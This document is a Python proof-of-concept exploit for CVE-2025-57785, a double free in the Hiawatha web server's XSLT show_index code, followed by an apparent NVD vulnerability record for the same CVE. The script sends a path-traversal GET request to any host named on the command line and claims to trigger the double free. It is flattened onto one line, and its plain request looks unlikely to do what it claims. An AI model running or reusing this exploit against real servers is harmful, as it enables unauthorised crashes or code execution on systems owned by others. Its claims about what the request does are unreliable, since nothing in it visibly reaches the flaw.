CVE-2025-57785

import socket import sys def exploit_hiawatha_double_free(target_host, target_port=80): """ PoC for CVE-2025-57785: Double Free in Hiawatha XSLT show_index This PoC demonstrates the vulnerability by sending a specially crafted XSLT request that triggers the double free condition. """ # Construct malicious XSLT request targeting show_index function malicious_request = b"GET /index.xslt?path=/../../ HTTP/1.1\r\n" malicious_request += b"Host: " + target_host.encode() + b"\r\n" malicious_request += b"User-Agent: Mozilla/5.0\r\n" malicious_request += b"Accept: text/html\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending malicious request to {target_host}:{target_port}") sock.sendall(malicious_request) response = sock.recv(4096) print(f"[*] Response received: {response[:200]}") print("[*] Double free triggered - check server stability") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_57785_poc.py <target_host>") sys.exit(1) exploit_hiawatha_double_free(sys.argv[1])

{"cve": {"id": "CVE-2025-57785", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:27.570", "lastModified": "2026-02-13T15:21:40.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Double Free in XSLT `show_index` has been identified in Hiawatha webserver version 11.7 which allows an unauthenticated attacker to corrupt data which may lead to arbitrary code execution."}, {"lang": "es", "value": "Un Double Free en XSLT 'show_index' se ha identificado en el servidor web Hiawatha versión 11.7, lo que permite a un atacante no autenticado corromper datos, lo que podría llevar a la ejecución de código arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hiawatha.leisink:hiawatha_webserver:11.7:*:*:*:*:*:*:*", "matchCriteriaId": "350ABC8A-01B5-4918-A696-B17C95B158BB"}]}]}], "references": [{"url": "https://gitlab.com/hsleisink/hiawatha/-/blame/master/src/xslt.c?ref_type=heads#L675", "source": "[email protected]", "tags": ["Release Notes"]}]}}